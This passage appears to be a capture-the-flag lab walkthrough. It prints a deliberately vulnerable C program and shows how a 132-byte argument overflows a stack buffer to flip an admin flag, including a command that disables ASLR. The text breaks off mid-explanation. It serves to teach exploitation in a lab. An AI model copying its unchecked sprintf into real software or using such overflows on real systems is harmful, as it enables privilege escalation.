Step 1 – Variable overflow
In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.First, download the following ZIP file to your Hacking Lab Live CD, extract, and type make:
Second, make sure you disable ASLR by entering the following line (after every reboot):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This is the code of the binary with the vulnerabilities we are going to exploit:
mmchallenge.c:
#include <stdio.h>
#include <stdlib.h>
#include <crypt.h>
#include <string.h>
const char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.";
int checkPassword(char *password) {
char *hash;
hash = crypt(password, "$6$saaaaalty");
if (strcmp(hash, adminHash) == 0) {
return 1;
} else {
return 0;
}
}
void flag1(void) {
char buf[512];
FILE *fp;
printf("You are admin!\n");
fp = fopen("flag1.txt", "r");
fgets(buf, 511, (FILE *) fp);
printf("Flag1: %s\n", buf);
fclose(fp);
}
void flag2(void) {
char buf[512];
FILE *fp;
printf("You are superadmin!\n");
fp = fopen("flag2.txt", "r");
fgets(buf, 511, (FILE *) fp);
printf("Flag2: %s\n", buf);
fclose(fp);
}
/* void flag3(void) {
...
fp = fopen("flag3.txt", "r");
...
}*/
void handleUser(void) {
printf("You are NOT admin.\n");
}
void handleData(char *password) {
int isAdmin = 0;
char msg[128];
isAdmin = checkPassword(password);
sprintf(msg, "Password: %s", password);
printf("IsAdmin: 0x%lx\n", isAdmin);
if(isAdmin) {
flag1();
} else {
handleUser();
printf("%s\n", msg);
}
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Call: %s <password>\n", argv[0]);
exit(0);
}
handleData(argv[1]);
}
Understanding the code
The relevant part is the function handleData(). If the password given as argument is correct, it will execute flag1(). If not, it will execute handleUser().
void handleData(char *password) {
int isAdmin = 0;
char msg[128];
isAdmin = checkPassword(password);
sprintf(msg, "Password: %s", password);
printf("IsAdmin: 0x%lx\n", isAdmin);
if(isAdmin) {
flag1();
} else {
handleUser();
printf("%s\n", msg);
}
}
The argument of the program is copied into a stack buffer msg of 128 byte size. Lets execute the program with normal length string, and with a wrong password:
./mmchallenge password IsAdmin: 0x0 You are NOT admin. Password: password
The password „password“ seems to be not correct, as the program tells us „You are not admin“.
Calling it with the correct password:
# ./mmchallenge <...> IsAdmin: 0x1 You are admin! Flag1: <flag1>
With the correct password, „You are admin!“ is printed. isAdmin has the value 0x1.
What happens when you insert a string which is longer than 128 bytes? Lets try it. We can use python to print 132 characters:
# ./mmchallenge `python -c 'print "A"*132'` IsAdmin: 0x41414141 You are admin! Flag1: flag-1
Seems we are admin! It also printed our first flag – and isAdmin is 0x41414141.
This is, because we overflown msg[128] with AAA...AAA – and it overflowed into the variable isAdmin – which is further DOWN the stack, which means it is further UP in memory.
void handleData(char *password) {
int isAdmin = 0; // 4-byte "AAAA" = 0x41414141
char msg[128]; // AAA...


